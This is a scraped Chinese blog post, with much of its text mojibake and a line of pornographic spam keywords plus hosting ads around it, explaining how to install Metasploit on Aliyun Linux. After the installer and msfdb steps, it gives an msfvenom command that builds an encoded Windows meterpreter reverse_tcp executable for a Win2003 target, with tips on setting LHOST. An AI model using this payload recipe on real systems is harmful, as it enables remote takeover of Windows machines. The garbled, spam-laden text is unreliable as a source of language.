av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

linux系統(tǒng)安裝msf的過(guò)程詳解

還是自己寫下安裝過(guò)程吧!

創(chuàng)新互聯(lián)公司專業(yè)為企業(yè)提供湟中網(wǎng)站建設(shè)、湟中做網(wǎng)站、湟中網(wǎng)站設(shè)計(jì)、湟中網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、湟中企業(yè)網(wǎng)站模板建站服務(wù),十載湟中做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。

我的服務(wù)器系統(tǒng)是 Aliyun linux

1、下載安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能報(bào)錯(cuò):Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因?yàn)榘惭b庫(kù)的問(wèn)題!
解決方法:
yum install -y epel-release
然后再重復(fù)上面那條命令!

2、添加新用戶運(yùn)行msf
adduser msf       #添加msf用戶
su msf                #切換到msf用戶
cd  /opt/metasploit-framework/bin   #切換到msf所在的目錄
./msfconsole
#以后啟動(dòng)msfconsole,都切換到msf用戶下啟動(dòng),這樣會(huì)同步數(shù)據(jù)庫(kù)。
如果使用root用戶啟動(dòng)的話,不會(huì)同步數(shù)據(jù)庫(kù)!
(啟動(dòng)索引已經(jīng)默認(rèn)配好了!)
直接 msfconsole 就可以啟動(dòng)了!

#相關(guān)命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb
msfelfscan msfmachscan msfpescan msfrop
msfrpc msfrpcd msfupdate msfvenom

#數(shù)據(jù)庫(kù)初始化
[msf@xxxx root]$ msfdb
Commands:
init initialize the component
reinit delete and reinitialize the component
delete delete and stop the component
status check component status
start start the component
stop stop the component
restart restart the component

#測(cè)試:
e.g.我的虛擬主機(jī)是 Win2003(目標(biāo)機(jī))
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp
LHOST=msf_ip
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個(gè)坑折騰好久?。?!吐血?。?!]

ps:linux系統(tǒng)下安裝msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

等待運(yùn)行結(jié)束即可。關(guān)鍵地方按回車和Y即可。

總結(jié)

到此這篇關(guān)于linux系統(tǒng)安裝msf的過(guò)程詳解的文章就介紹到這了,更多相關(guān)linux系統(tǒng)安裝msf內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

香港服務(wù)器選創(chuàng)新互聯(lián),2H2G首月10元開通。
創(chuàng)新互聯(lián)(www.cdcxhl.com)互聯(lián)網(wǎng)服務(wù)提供商,擁有超過(guò)10年的服務(wù)器租用、服務(wù)器托管、云服務(wù)器、虛擬主機(jī)、網(wǎng)站系統(tǒng)開發(fā)經(jīng)驗(yàn)。專業(yè)提供云主機(jī)、虛擬主機(jī)、域名注冊(cè)、VPS主機(jī)、云服務(wù)器、香港云服務(wù)器、免備案服務(wù)器等。


文章題目:linux系統(tǒng)安裝msf的過(guò)程詳解
當(dāng)前地址:http://uogjgqi.cn/article/cogohge.html
掃二維碼與項(xiàng)目經(jīng)理溝通

我們?cè)谖⑿派?4小時(shí)期待你的聲音

解答本文疑問(wèn)/技術(shù)咨詢/運(yùn)營(yíng)咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流